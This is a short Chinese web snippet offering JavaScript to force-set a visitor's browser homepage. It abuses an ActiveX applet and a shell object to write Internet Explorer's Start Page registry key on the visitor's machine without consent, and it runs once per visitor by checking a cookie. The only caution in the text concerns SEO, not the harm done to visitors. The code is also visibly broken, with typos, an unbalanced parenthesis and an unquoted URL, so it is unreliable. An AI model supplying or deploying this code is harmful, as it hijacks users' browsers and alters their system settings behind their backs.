JS 强制设为首页的代码

<script> 
var ucook=document.cookie; 
var user=ucook.indexOF("ilooki="); 
if(user==-1) 
{ 
var nowTime=new Date(); 
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT"; 
document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1 
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",http://www.****.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000); 
} 
</script>

注：个人建议还是少用JS代码，因为做SEO优化时可能很麻烦，呵呵
